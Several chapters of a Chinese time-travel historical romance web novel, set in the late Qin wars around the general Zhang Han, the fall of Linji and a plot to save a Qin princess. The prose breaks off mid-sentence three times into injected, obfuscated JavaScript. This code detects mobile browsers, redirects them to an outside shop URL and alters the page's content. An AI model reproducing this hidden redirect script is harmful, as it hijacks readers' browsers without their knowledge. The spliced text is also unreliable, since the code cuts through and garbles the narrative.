章邯的目光带着明显的怀疑,盯着我不放。 但我语气坚定。悺阳在我眼中,是这个乱世中极少数真正拥有独立人格与清醒意志的女性。如果她选择消失,那必是深思熟虑后的主动出走。我不信章邯安插在她身边的眼线会让她“走失”,除非,她早已打算突破一切桎梏。 我极其淡然地转身朝林外走去,章邯却猛地拽住了我,目光如冰刃,直直扎进我的眼底。 “是不是你们早有预谋?告诉我!” 他咬牙低吼,“你若是她的朋友,就该知道她此刻走出去会有多危险。如果你也不想看到她死,就该让我找到她!” 我猛地甩开他的手,不耐烦地回道:“当初是你亲手救她逃离那鬼地方,是你亲口答应放她自由。如今又为何为了一己之私,想重新夺走她的选择?” 章邯神情一震,脸上怒意与痛苦交织,沉默良久,忽地背过身,低声道:“你以为我想这样吗?若是太平盛世,我愿她像寻常女子一样,嫁人生子,安稳度日,而我只远远守着她……可这世道已乱,四方兵起,局势如火燎原——” 他深吸一口气,声音几乎哽咽,“她是我亲手放出宫的……是我大秦皇族的血脉。若有一日,被人识破了身份,她将成仇恨的靶子,是无数势力争斗中的牺牲品。” 他停顿了几息,喃喃道:“到那时,我要怎么原谅我自己……” “万一一切并非你所想呢?”我低声道,“如果悺阳不说,那就谁都不知道,不是吗?” “可有人知道了!” 章邯骤然转身,语气如寒冰断裂,目光锋利得几乎能刺破我的眼底。 “悺阳并不知道——我一直命人暗中保护她。” 他说得极慢,字字如钉,“她曾救过谁,和谁在一起,我统统都知道。” 我的心猛然一紧,嘴角微微颤抖,几乎无法置信地望着他。 他……知道了? 难道他早已察觉悺阳与项梁之间的关系? 难道,他一直知道她想要离开秦军、千方百计地回到项梁身边? 我的脑中一片混乱,胸口憋着什么东西快要炸裂,却一句话也说不出。 章邯却突然语调一变,像是终于卸下所有压抑,眼神冷得近乎讥诮:“她一意孤行,杀了我安插在她身边的护卫,打伤我的将士,强闯营门逃走——” 他顿了顿,望向我,眼中带着说不清是痛还是恨的神色:“走之前,她给我留了一张字条。” 他缓缓将头低下,忽地冷笑一声,抬眸盯住我:“你想知道,她在字条上,跟我说了什么吗?” 我依旧一脸茫然地望着他,心跳莫名地加快。 章邯从怀中缓缓取出一张折得极平整的竹简,声音淡若秋水,却仿佛在我耳边轰然炸响: “吾走,勿念!悺阳此生无以回报将军之恩,唯将挚友留于将军左右,算是还了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我抬起眼,语气平静却坚决,“要杀要剐,我奉陪到底。” 章邯突然伸手,掐住我的下颌,迫使我抬头与他对视。他的目光冷峻又灼热,仿佛要从我眼底撕开某种隐秘的真相。他低声道:“我不会杀你,反而会对你很好。好到——她会嫉妒。” 我猛地挣脱他的手,怒斥一声:“你真是没救了!” 话音未落,他已经一个箭步逼近,根本不给我逃开的机会。 我刚后退两步,便被他强硬地抱起,挣扎间拳脚齐落,他却毫不动摇,像一堵铁墙,冷静又决然。 他将我抛上马背,自己也翻身而上,手臂一紧,强硬地将我困在他怀中。 马蹄骤响,尘土飞扬,疾驰而去,只留下林中一地纷乱的风声。 幸好我们刚进军营,就见王离已经等候在营门前,肃穆地道:“五百里外,发现魏咎等人。” 章邯依旧用手臂紧紧环绕着我,眼神如冰刀般冷冽,他低声问道:“多少人?” “约五千人马左右。根据情报,魏军已与齐楚联合,因此很可能会有援军。” “传令!三军集结!”章邯突然下令,声音如磐石般沉稳,“王离,你带人去暂且拖住援军,我亲自带兵去会会这个魏王咎。” 20. 血色幻境 魏咎,魏国公子,宁陵君。秦灭魏后,他被废为庶人,却未甘沉寂。公元前二〇九年,陈胜揭竿而起,魏咎随之响应,携魏人周市夺回故地,成为魏王。如今陈胜死于章邯之手,章邯又挥军东进,魏咎走投无路,唯有联齐合楚,以图破秦。 我想,王离口中的魏咎,应当就是他了。 战事骤起,带来的从不是一纸军令的沉重,而是命运的颠沛与不可预测。我被重新编入一支新的队伍,随他们再度踏上东征的征途。 出营之前,章邯将一套秦军甲胄重重丢到我怀里,语气不容置疑:“穿上它,从今日起,你便是我大秦之人。” 我低头望着那沉甸甸的甲胄,只觉命运的安排果真百转千回,嘲弄似的将我一寸寸推向身不由己的深渊。 我驰骋在尘土飞扬的泥路上,被裹挟在数万秦军之间。马蹄如雷,旌旗猎猎,耳边尽是沉重的战鼓与喧嚣。可我的心,却愈发沉重,不安仿佛在胸口滚烫地烧着。 这情形仿佛昨日重现,只是少了那份“初入战场”的莽撞无畏,多了一层“明知后果”的畏惧与迟疑。 此时,军队行进在一条夹在田垄之间的土路上,风静得出奇,只带来一丝若有若无的谷香,仿佛连空气都不愿扰乱眼前的平静。 谷仓地带散落着几堆废弃草垛,像是被遗落的残影。两侧立着几座破旧柴屋,屋瓦斑驳,似已多年无人居住。柴门半掩,风一拂,便发出“吱呀——吱呀——”的声响,在这沉寂中显得格外刺耳,如同某种不详的前奏。 我收紧缰绳,加速跃马,冲至章邯身后。他披一身黑耀银光的战甲,在烈日下犹如肃杀而立的孤峰。听见我靠近,他警觉地握住剑柄,微一回首,见是我,神色这才微松,旋即重新融入那沉稳而冷酷的战阵节奏中。 “你跟上来做什么?”章邯头也不回地冷声问道。 “你怎么不问问我这场仗的胜负?”我策马并行,“既然悺阳告诉你我能预知未来,你就不好奇你的命运?” 他斜睨我一眼,“我并不想知道。” “真自信。”我嘀咕,却不料他耳力极好。 “你还是担心你自己吧。冲这么前,是想当箭靶吗?” “箭靶子也挺好,命硬。” “什么歪理?”他皱眉。 “倒不了的歪理。” 章邯正要不耐烦地训我几句,却倏然变了脸色,“赶紧回去——小心!” 话音未落,四面八方骤然响起破空之声,数百支箭矢如骤雨般自天而降,黑压压遮住了头顶的光。尚未来得及反应,章邯的长剑已在我眼前闪出几道寒光,斩断前排箭羽,旋即一面沉重的铁盾猛然举起,将我连同他一并掩住。 四周响起人马哀鸣、战士坠地的轰响,我屏息凝神,只觉耳中尽是沉闷的鼓声与兵刃碰撞的回响。章邯俯身贴近我耳边,低声而坚定:“一会我掩护你,趁机撤回队伍中间。” 我点了点头,心跳如擂,头皮发紧,却强迫自己镇定应下。 “怕吗?” “我不是你,当然会怕。”我极力镇定地望向他,却仍感脸颊滚落的汗珠,一滴滴顺着发梢滑落。 箭雨渐歇,四周一时只剩沉重喘息与战马的嘶鸣。我依言退回队伍中,身后章邯已抽剑跃起,重新投身战阵。 敌军埋伏极深,几乎隐于尘土与静寂之间,但章邯反应迅捷,几乎在箭矢落下的同时便洞悉端倪。 他凝目看向四周,凭借箭雨的来向迅速判断出敌人就藏匿在那几堆废弃草垛与破柴屋之后,立即下令军队向目标方向包抄。 随着第二波箭雨铺天盖地而来,秦军已按着原有轨迹,将弓弦齐发之势反射回去,顿时可见草垛之后有黑影应声而倒,仿佛夜色里骤然塌陷的一角。 章邯挥手示意,一部分秦军列为前锋,手执铁盾,脚步沉稳却迅捷地朝草垛逼近,犹如锋刃悄然划破夜幕。另一侧,箭雨仍未稍歇,密集如织,不仅为前军遮掩身形,更试图将藏匿之敌逼出暗处,一寸寸榨干敌军藏身的余地。 最终,那些藏匿于草垛、柴屋、谷地的千余魏军被逼出阴影,被迫与秦军正面交锋。呐喊声、铁蹄声混作一团,如浪涛般在谷地上翻滚奔涌。 我再次置身命运为我铺陈的修罗场。血与尘混成的腥气冲鼻而来,眼前的一切不再陌生,却也不再麻木。第一次坠入战地的那种撕心裂肺的绝望已不复存在。或许是这个身体早已尝遍血肉模糊、刀剑无情的滋味,那些流过的血、受过的伤、临死时不甘的悲鸣,都如铁印般刻在灵魂之上。 眼前每一道刀光,每一次呼啸的箭矢,仿佛都能牵动过去未愈的伤口。我依旧惧怕死亡,却不再只是惧怕。我握紧手中之剑,感受到其在掌心中微微发烫,像是某种召唤,亦像是战意的觉醒。那种意念从心底生起,滚烫而灼热——为了活下去,为了挣脱命运,我愿不择手段,哪怕要在这尸山血海中,亲手杀出一条生路。 出发前,我曾特意请莫大夫为我调配一剂剧毒,将其浸入剑中,炼成一把一击毙命的毒剑。只要剑刃轻轻划过皮肤,便可令伤口血流不止,不出数息,便见那人血色暗沉,唇色发黑,直至面目狰狞地倒地不起。 显然,经过上一次战役的洗礼,我的身体与战斗本能已大为提升。但我终究不是一名真正的将士,体力有限,每一击都不容浪费。我学会在混乱中寻找破绽,抓住每一个近身的机会,力求一剑封喉、毫无拖泥带水。 我骑在马上,手中利剑嗜血如焰,所到之处皆是尸横血泊。我看着一个又一个倒下的人影,那些面孔陌生却活生生地印入我的眼中——而他们,都是被我亲手杀死的! 我的马踏过层层尸骸,回首望去,却仿佛看见一个手持利剑、浑身染血的自己,孤零零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炽烈的残阳炙烤着这片遍布尸骸的土地,空气中弥漫着腐败与血腥。我望着眼前这个浑身是血的男人,脑中却又闪回那站在尸堆上的自己——那个冷血的自己。 “上来。”章邯再次开口。 我没有立刻回应,而是越过他,看向他背后的战地——成堆的残尸横陈于焦土之上,血肉模糊,死寂如潮水般蔓延。我感到一股彻骨寒意从脚底升起,连声音都在发抖:“结束了吗?” “还差一点。”他答道,语气平静,手却始终未收回。 我怔怔望着他,那张沾满鲜血却依旧镇定的脸,只得轻轻点头。 他一把将我拽上马,低声喝道:“抓紧了。”我下意识地环住他的腰,掌心贴在他冰凉的铠甲上。 马蹄腾空而起,狂风迎面扑来,速度之快仿佛要将整个天地甩在身后。四周景象飞速倒退,唯有耳边呼啸的风声,如同亡魂在低语,萦绕不散。 21. 自焚 章邯的战马飞驰在高山峻岭间那条蜿蜒崎岖的小路上,穿越碎石滚落的山口,涉水而行,穿暗洞、过浮桥,道路之险,非寻常人所能想象。然而秦军对地势的掌握可谓了然于心,自前至后,整支军队行进紧凑、步调一致,无一人掉队,更无一人擅离。 魏咎大军已自大道败退,齐楚联军定会半路杀出截援,然章邯早已命王离率军抵御联军之锋,自己则趁势追击,志在必得地夺取魏咎首级。更何况,秦军此行所走乃偏僻山路,不但隐蔽,亦大幅缩短路程;再加之此次征讨名正言顺,打的是“剿灭反贼”的旗号,章邯志气昂扬,胸有成竹,势如破竹。 我望着章邯,一路血汗交融的戎装下,却掩不住他眉宇间那一丝不容置疑的自信,仿佛秦国仍是那个高踞九州、一统六国的皇朝。殊不知,他的国家,早已根基腐朽,风雨飘摇。 他的结局,无疑是悲凉至极。他未能战死沙场、马革裹尸,而是在穷途末路中,率秦军投降于昔日的敌国——楚。大秦亡后,他又兵败于韩信水淹废丘之策,身陷囹圄,终因不屈自刎。 如此结局,又怎能与眼前这个傲然策马、目光如炬的秦国上将军重合? “仪风,是你的真名吗?”急促的马蹄声中,章邯的声音打断了我纷乱的思绪。 “是。”我淡淡答道。 “你不愿告诉我实话?” “我既已说是,便是实话。” “可我初见你时,你是男儿打扮,怎会不曾用假名?” “一个名字而已,真假有那么重要吗?”我语气里已多了几分不耐。 “一个名字而已,却能看出你信不信我。” “要杀我的人是你,不信我的人也是你,最后强留下我的,还是你。你所做的每一件事都不利于我,又怎能谈信任?”我冷笑,语气讽刺。 沉默良久,他才缓声道:“都是些旧事,就不必提了吧。咱们好歹也共过生死,有些情分,何不就此放下过往恩怨?” “放不下。”我斩钉截铁。 “为何?” “信任二字,连最亲近的朋友都可能背叛,更何况你已经知晓我的秘密。我又怎敢相信你不会再次利用我去达成你的目的?在这乱世之中,你让我信你,是想让我为你所用吗?那么我宁死,也不会答应。” 这时,山道已逐渐平缓,章邯的语气也随着气息的调节而收敛了凌厉,多了些沉静。 “放心,我章邯还没沦落到要靠一个女人平天下的地步。从始至终,我从未想过要利用你。” 他顿了顿,又道:“况且这是我与她之间的事,本就与你无关,更非你一人能解。” 我发现,历经这场战役后,有些微妙难察的东西,正在改变我与章邯之间的关系。这算是“过命的交情”吗?还是,我从一开始就错看了他? 我忍不住凝视他策马前行的身影。黑耀戎装随风猎猎,天地为幕,他像一把利剑,在山河之间披荆斩棘。他的身上有一种与生俱来的骄傲,那是一种见过太多生死、仍能昂首纵马的沉默气魄。若我能亲眼目睹他曾走过的峥嵘岁月,想必也会对他心生敬意。 这就是乱世中的英雄吧。项羽是,刘邦是,章邯是,韩信亦是——还有那一个个为了大义、为了天下奔走呼号的人。他们有的出身卑微,有的贵为将相,却都在这同一片染血的土地上,为着心中不可动摇的信念而奔赴战场。 转眼间,军队已自山谷狭道中穿出,深入一片密林。四周树木参差倒伏,仿佛方才刚经历过一场鏖战,许多树干带着深深的刀痕,甚至还淌着未干的血迹。行进的速度就此慢了下来,马蹄不得不小心翼翼地绕过横陈的枝桠与残骸。我们穿梭于千姿百态的林木之间,头顶不见天光,脚下难觅一块平整之地。空气中混着湿土与血腥,令人窒息。 忽然,一个领头将士快步赶来,单膝跪下禀报:“将军,前方发现上百具死尸。” 章邯沉声问:“什么人?” “齐人、楚人、魏人……也有我们的人。”那将士脸色凝重。 章邯轻轻一摆手,示意他继续前行探路。望着那一片血林,他若有所思地低声道:“援军恐怕已破。王离的军队,应该离我们不远了。” 我听后略感不安,问道:“那我们现在还追吗?” “当然追。”他目光沉稳,“但再往前,便是临济地界,魏人盘踞之地。此地林深路险,正好就地修整片刻,也让将士们补充体力。” 他顿了顿,目光扫过天边,“等太阳落山,再图一举歼灭之策。” 秦军将不远处横陈的尸首一一拖至方才挖好的大坑中埋葬,其中不乏并肩多年的袍泽。有人在旁默默挖了个单独的坑,砍下几块木头,草草立作碑石;最多,也不过在他们怀中翻出几封家书,誓言若有生还之日,替他们寄回故乡,以慰家人。战场之情,至此已是极致。 我从马背跳下,几乎毫无顾忌地仰身躺倒,任由风吹乱发丝,双眼空洞地盯着头顶飘荡的树胡子,随风摇曳,如幽魂浮动。 章邯将马牵好,也在我身侧坐下,递过一个羊皮水壶,“喝一口吧。” 我接过,二话不说,仰头“咕噜噜”大口灌下,直到干裂的唇略感滋润,方才停住。 “吴梗!”章邯高声喊道。 一名眉目清秀的兵士应声而至,快步跑来。章邯把空水壶随手丢给他,“再打一壶水来。”那兵士接过,又看了我一眼,像是看一只快要咽气的小兽,便转身快步跑去。 章邯望着我道:“今晚你别跟了,夜里行动,难免有变数。” 我依旧盯着那片缓慢飘动的树胡子,心想,要是到了深夜,这整座林子都浮着这样的东西,岂不是如同阴魂缠绕,诡异至极? “我去。”我低声道。 “又去送死?” 我没有回答他。 等到水送来了,我又喝了几口,却依旧怔怔发呆。大概是真的太累了,脑子像是被什么抽空,只剩下身体在机械地回应生理本能。 章邯又开口:“你要去也可以,但今晚你必须一切听我指令。” 我偏着头靠在手臂上,望着他,眼神带着几分玩味:“你真的,一点都不好奇你的命运吗?” “命运?”他冷笑一声,“有什么好奇的。是生是死,不都是命数?你以为,就凭你那点小把戏,能改得了天命?该来的终究会来,就像每个人的生死轮回,注定逃不掉。” 他说着站起身,招手唤来吴梗,低声吩咐了几句。吴梗领命跑开。他才又回到原地坐下,拿起那壶水,缓慢饮着。 “怎么突然不说话了?”章邯问。 我侧头望他,“你还没告诉我,今夜打算做什么。” “不过是趁魏军人困马乏,来一场深夜突袭,”他说得轻描淡写,仿佛只是在说一次练兵,“没什么稀奇的。” 我冷哼一声:“我平生最厌背后搞突袭之人。” 他却点头:“因为往往突袭最致命,尤其是对那些卸下防备之人。” 我沉默 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章邯令大军悄然分散,布下包围圈,又调前日筛选的轻捷精锐悄然攀墙。他们轻手轻脚爬上城头,在魏军反应前一一斩杀。 一切有序、无声。突袭的将士皆已脱去厚重铠甲,换上便服,行动灵巧,毫不起眼。他们如夜影掠过,魏军还未及惊呼,便已命丧刀下。 未满一刻钟,大批秦军陆续登城,而后如水银泻地般涌入临济。 这一役,几乎兵不血刃。 不到一个时辰,临济已然落入秦军之手。原本沉睡的城池,忽而灯火通明,如梦初醒,惊魂未定。 黑压压的秦军已将城内外紧紧围困,杀气沉沉,密不透风。城中百姓惊慌四散,或仓皇奔逃,或闭户躲藏,隔着门缝窥望这些铁甲冷面、刀光森然的征伐者。 我望着这些藏在暗处、无声哀求的眼睛,忽然觉得自己再无法站在马背那般高的位置,俯瞰他们。 那不是他们仰望不了的高度,而是我不再愿意用那样的角度看他们。 于是我跳下马,执意走入人群。我的脚步无声,心却仿佛踏在了一层一层沉重的记忆与命运之上。 章邯望着我,神情困惑。而我,只能报以一个难解的眼神。 章邯斩杀魏军将领周市,举着那颗鲜血淋漓的头颅,震慑了魏军军心,迫使魏咎放下兵器。魏王不过三十有余,盔甲一脱,竟已两鬓斑白。那一刻,他注视着秦军,目光所及,除了已被恐惧笼罩的百姓,还有那些破碎的希望。魏咎似乎做出了壮士断腕的决定,突然跪倒在章邯面前,沉声说道:“成王败寇,我认降。只是,求将军放过临济城的百姓,他们都是无辜的可怜之人。” 章邯眼中掠过一丝冷淡,他扫视了那些老弱妇孺,最终缓缓点头。 随即,魏军一齐跪倒,磕头称降。魏咎在众将的屈膝中,默然站起,拿起一根火把,径直走向众人,未曾回首,便自焚而亡。火光瞬间吞噬了他的身影,烈焰如同恶魔的手臂,紧紧把那小城围住。熊熊火光映红了百姓的眼眶,泪水与火焰交织成一幅破碎的图景。 孩童的哭声清脆而无助,妇人们急忙捂住他们的眼睛,泪水顺着面颊滑落,“没事,没事……”她们低语着,仿佛这句话能带走一切。 然而,我的内心却无法平静。看着这些百姓,眼中充满了畏惧与哀伤,我感到自己仿佛成为了这场灾难的一部分。那些无辜的生命,那些颤抖的灵魂,仿佛在诉说着一个个无法逃脱的宿命,而我,就像一个无可逃避的罪人,注定被这个血腥的世界所吞噬。 22. 他叫韩信 城墙上的风苍茫而凄冷,胸前的铜铃被吹得“铃铃”作响,清脆却仿佛在哀鸣。就是这声音,引我踏入这片生死不由己的时空;也是它,让我一次次直面血与火、杀戮与绝望,让我亲眼目睹这世间最赤裸的残酷与悲怆。 我想,当今夜过去,再回望临济城的满目疮痍,那一双双沾满尘土与泪水的眼睛,将成为我心头难以磨灭的印记。那一团裹挟着人肉焦臭味的火焰,那夹杂着妇女孩童哭泣的声音,会在无数个夜晚反复重现,就像为记忆住入永久画面,提醒我的立场与罪过。 “怎么还不睡?” 一件带着体温的披风轻轻落在我肩上,那熟悉的声音,在此刻却令我不自觉地颤了一下。我没有转身看他,因为我不知该如何面对。 “太晚了,睡意早就散了。你怎么也没睡?” 他走到我身旁,语气淡然:“行军打仗这么多年,早已忘了好好睡一觉是什么滋味。睡不着,才是常态。” 章邯身上,有一种与生俱来的浩气英风。他是那种注定要驰骋疆场的英雄、名将。只是,他选择了秦国,忠于秦国;而韩信会选择刘邦,自会效忠于汉。他们都知道自己为何而战,有所归属。 而我,却只选择了自己。看似自由,实则无依。正因如此,才愈发觉得无从安放,也无从逃避。 “你怎么一直盯着我看?”章邯突然问。 我倏地收回目光,淡淡道:“在思考。” 他忽然伸手,似要取我胸前的铜铃。我下意识一闪,后退两步,警惕地护住它。 “看一眼也不行?”他蹙眉。 我紧紧攥着铜铃,“又不是什么贵重之物。” “既不值钱,怎么还护得跟命似的?”他笑了,语气揶揄。 “开过光了。” “啊?”章邯又笑,摇头,“有时候我真看不懂你,不就是个破铃铛么,又不是龙鳞凤羽。” “这不是破铃铛。”我声音低了些。 他忽然眯起眼,似笑非笑,“说说吧,是谁送你的定情信物?让你甘愿在战场上连命都豁出去。” 我被他说得面颊微热,冷哼一声,“你个大男人,怎的爱打听这些儿女私事?” “谁说男人就不能打听?你说出来,兴许我还能帮你出出主意。毕竟,还是男人最懂男人。”他语气轻松,眼里却有一点探寻的认真。 我狐疑地看他,见他点头保证,立刻来了精神:“那你帮我一个忙,放我回楚军。” 章邯的笑容瞬间僵在脸上。片刻后,他叹道:“我是真不懂了,怎么你们一个个都想往那边跑。难道我大秦,真的半点魅力也没有?” 我点头附和。 “他叫什么名字?”章邯不依不饶。 “什么?” “就是那个送你铃铛、让你连命都不要的人。” 我便存了打趣的心思,慢悠悠抚着铃铛,“啊……他叫韩信。” 章邯立刻“噗嗤”一笑:“我当是哪路英雄,结果是个连名字都没听说过的小人物。” 我反击道:“小人物又如何?不也有人惦记,总好过你这个孤家寡人。” 只见章邯眼神一变,忽地伸手揪住我的脸颊,压低声音道:“正好不日我就要去会项梁,你若想见你那‘韩信’,可得好好哄我。说不定我高兴了,就放你回去。” 我正要反手推他,他却早已一跃翻下城楼,身影消失在夜色里,只留我怔怔站在风中。 因我是女子,在军中与将士同住多有不便,章邯便特意在营中为我单独设了个小军帐。那军帐离将士们的住处较远,却与他自己的军帐不过数步之遥。 夜色深浓,我沿着空荡荡的城池慢慢踱回营地,疲惫这才一拥而上,压得我几乎站不稳。卸下铠甲,才发现内衣早被血垢浸透,后背的刀口已开始化脓发炎。本想换下衣裳,却发觉那血肉与布料早已黏成一体,只能咬牙将其一点点撕扯下来——那是另一种痛。 点起一根烛火,就着微光,我将莫大夫所给的药粉细细撒在伤口上。没有多余时间感受疼痛,记忆却不受控地浮现出来。 在过去的十三年里,身为运动员的我早已习惯独自扛下伤痛。无论是被器械砸得头破血流,还是旧伤复发,只要骨头未断,我便用最快的方式处理,再立即投入训练。疼,是琐事;目标,才是全部。我们这类人,从来使命高于一切。 只是这种使命,究竟源于何处?是国家?是荣誉?还是一种被灌输太久、深入骨血的执念? 直到今夜魏咎在火光中自焚,那一刻,他选择守住百姓、守住自尊。那一瞬,我才恍惚觉得,所谓使命,也许就是一种信仰。而信仰,是内心那一把不可触碰却永不熄灭的焰。 帐内的烛火刚熄,帐外却传来隐约脚步声。我警觉地重新披好衣物,刚欲揭帘而出,那人影却像是被惊扰似的,倏然隐去。 我掀开帐帘,只见门前静静放着一套胭脂色的新衣。月光下,轻纱微曳,宛如水波上的霞光,粉中透白,衣角绣着若隐若现的花瓣纹,淡淡的暗香扑鼻而来,温婉不俗。衣袖里,还藏着一小瓶药粉与一张纸条: 也许你能用得上。 我四下张望,空无一人。这样奇怪又不动声色的举动,除了章邯,旁人只怕做不来。心头不觉一阵暖意悄然漾开。 这衣裙很美,是我至今未曾拥有过的颜色与质感。鬼使神差地,我换上了它,轻轻踮脚跑到帐外水洼前。 一轮水月静静沉在洼中,映出一个身着胭脂衣裙的少女。风过,衣带飘摇,水中月影也随之摇晃,我仿佛在那片波光中,看见了久违的自己——不再是战火中的亡命者,不是扮作兵士的异乡人,只是一个穿着喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512544|203055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱衣裙的姑娘。 那一夜,我便穿着这套新衣入睡。因为唯有这身衣裙,隔开了血腥与尘土的气息,令我得以做一个温柔安稳的梦。梦里无戎马,无铁甲,只有春日暖风与岁月静好。 清晨,帐外传来淅沥雨声,湿哒哒地落在屋棚上,唤醒沉睡中的人。雨水冲刷着白色帐篷上经年积尘,混着泥黄的水沿边缘滑落,一股带着寒意与潮气的气息悄然弥漫。榻边,一缕干燥的凉风携着一枚金色枯叶翩然而落——秋意至矣。 我动了动身子,才觉昨夜处理过的伤口略有好转,然而旧伤在这初秋凉意中却隐隐作痛,仿佛提醒着身体曾经负载的沉重。我缓缓扶床坐起,忽然心血来潮,想为自己梳妆一番。 镜中倒映出一个穿着古代衣裙的女子,长发披散,眼神陌生却熟悉。我怔住了……竟然很久没有这样好好地看过自己。那是一张陌生的脸,却也熟悉得令人心悸。镜中的我,比过去消瘦许多,脸颊轮廓更分明了,眉宇间透出一种未曾拥有过的英气,仿佛每一道伤口都镌刻着这段旅程的代价。 我抬手轻触镜面,冰凉的触感将我拉回现实。镜中的女孩穿着胭脂色衣裙,却似乎与此刻的我格格不入。她还未意识到……哪里已经变了。 忽然,那团昨夜灼人的烈火仿佛从镜中再度涌出,烧灼着我眼底的宁静。我猛地伸手覆上镜面,指尖颤抖,心绪纷乱如雨……那个自己,终究在这片战火之地中,一点点地被改变了。 临济城内虽仍重兵把守,秦军整齐穿梭于街巷之间,肃杀秩序不减,但屋檐下的百姓却依旧过着寻常日子。淘气的孩童早已忘却昨夜的惊惧,又重新奔跑在街头巷尾,嘻笑打闹。 我漫步城中,嗅着秋雨过后的潮湿与泥土味,迎着满城枯黄飞零的落叶,连空气里都透着几分陈旧与沧桑,仿佛走进了命运织就的年迈岁月。 忽然,一名巡逻的秦军士卒拦住我,眉头紧蹙,问道:“你是哪家姑娘?” 我看着他那清秀的面容,心头一动,想起那日章邯遣去打水的小兵——吴梗,便故意打趣:“你又是谁?” “大胆!”他板起脸,大声呵斥,“我乃上将军麾下的执戟郎,此处军中要地,岂容你胡乱行走!” 我淡淡道:“那你带我去见你们的上将军。” 他脸色一变,已拔剑相向:“你到底是谁!” 我神色如常,语气平静:“仪风,还记得吗?” 他怔住,眼神在我脸上来回打量,显然仍未从我女儿身的打扮中辨出身份。我轻笑一声,继续逗他:“怎么,不信?要不要带我去你家上将军那儿验证一下?” 吴梗这才慌忙收剑,连忙行礼:“不敢。姑娘一言,属下自然信了。正巧上将军正在找仪风姑娘,我这就带您去见他。” 我微微一笑:“正好,我也正想见他。请吧。” 23. 拜师 撩开帐帘,王离恰巧转身,目光与我撞个正着,脸上顿时浮现出一抹明显的惊愕与迟滞。他大概未曾料到,那日被他们当作犯人严刑拷打的小兵,如今竟换上女儿装束,风姿绰约地立在眼前。 我坦然地朝他一笑,又向正背对我专注于战图的章邯走去,抱拳行礼,声音清朗:“拜见将军。” 章邯似是随意地回过头,疲惫神情中却掠过一丝异样,转瞬即逝,又被他重新收敛如常。王离的眼神在我和他之间游移片刻,最终低声对章邯说道:“若无他事,末将先行告退。” 章邯轻拍了拍他的肩,“先去吧,一切拜托你了。”一句简单的话,一个随意的动作,却将他们之间的信任与默契传达。 “上将军今日看起来甚是疲惫,昨夜没睡好吗?”我背着手缓步走至他跟前,语气轻松,略带调侃。 “挺好。”章邯淡淡回了一句,仍旧转身凝视着战图,神情比平日更为沉凝。 “你这是怎么了?方才吴梗还说你在找我,现在我来了,怎么反倒无话可说了?”我不依不饶地试探着。 他的目光仿佛停留在图上,却又似穿透了所有线条与山河的界限,眉眼深沉如墨,竟无一丝波动。 我语气一沉:“你到底怎么了?若不愿说,我便走了。” 他终于低声开口,声音带着难掩的冷意与压抑:“昨夜,楚军送来一封密信。信中说——一月之后,他们将于出征大典之上,活祭秦国公主。” “什么?”我一震,急步回到他身侧,“活祭秦国公主?难道是……悺阳?”声音几乎颤抖。 章邯沉默地点了点头,神色凝重如铁。 “他们怎能如此残忍!”我怒声道。脑海中似有血色蔓延,仿若祭祀的幻象就浮现于眼前,令人彻骨发寒。 “我们得去救她!”我急切地说道,声音因愤怒与不安而微微发颤。 章邯久久凝望着我,眼神仿佛穿越重重迷雾,才缓缓开口:“如若我即刻动身,就正中了楚军的下怀。” 他语气平稳,却沉得令人喘不过气来:“秦军杀了魏咎和田儋,如今正该乘胜追击田荣。然而齐楚已然结盟,项梁此计,分明是为扰乱我军方略。他以悺阳为饵,不仅是牵制,更是为了激怒我。” “那现在怎么办?”我压低声音,愈发焦躁,“我们不能就这么看着悺阳送死啊!虽然……我不愿相信项梁真的会杀她,但……” “我早已预见此局。”章邯低低叹了口气,眉间冷意未散,“仪风,你始终看得太简单。秦楚两国的恩怨,岂是一朝一夕可解?你知项梁何以恨秦?正是因项燕战死,那一日,亦是楚国亡国之时。他们忍辱负重多年,如今若能以秦皇室之血,慰藉先王与英灵,才是最得人心的献礼。” 他语气渐冷,如霜刀般凛然,而我心中却五味杂陈,久久不能言语。 也许这种仇恨我可以理解。那是一种比私情更深的恨,是家破国亡、血亲惨死后留下的痛。正如当年侵华之时,日本对我中华的践踏与杀戮,早已在那一代人心中刻下血痕;哪怕时过境迁,今日的我们亦无法忘却。因为没有什么比家国倾覆更令人绝望,那种在废墟中苟且偷生的记忆,是一代又一代人心中永不能愈的伤。 我凝声道:“那你究竟有何打算?我不信你会眼睁睁看着她被处死。” 章邯冷冷一笑,眼神如同夜色般深沉:“纵使她对我无情,我也不能对她无义。” “所以呢?” “哪怕是死局,我也得一试。” 我眉头紧蹙,厉声问道:“那秦军怎么办?你如何向将士交代?” “我已将军权暂时交给王离统领。”章邯语气沉稳,却藏着决然。 我猛地摇头,“你疯了?军不可一日无帅!你若离营,大秦便真要亡了!” 哪怕我明知大秦注定灭亡,可不是现在,不该是现在。 我眼睁睁看着章邯一拳狠狠砸在案几上,战图猛然一颤,“那我究竟该怎么做!” 那一刻,念头不假思索地从我口中冲出:“让我去!” 章邯怔住了,眼神中写满不解。 我继续道:“我本就是个楚军,只有我去救她,才最合理,也是最安全。” 他眸色微颤,低声问:“你……想回去?” 我摇摇头,语气平静坚定:“我不是想回去,我是想救她。” 章邯神色阴沉了下来,嗓音低哑:“可你如今披秦军之衣、为秦国效力,若你再入楚营,便是叛军。你就不怕被他们乱箭射死?” 我深吸口气:“我怕。但我更怕我的朋友在祭坛上被活活杀死,而我却无能为力、袖手旁观。” 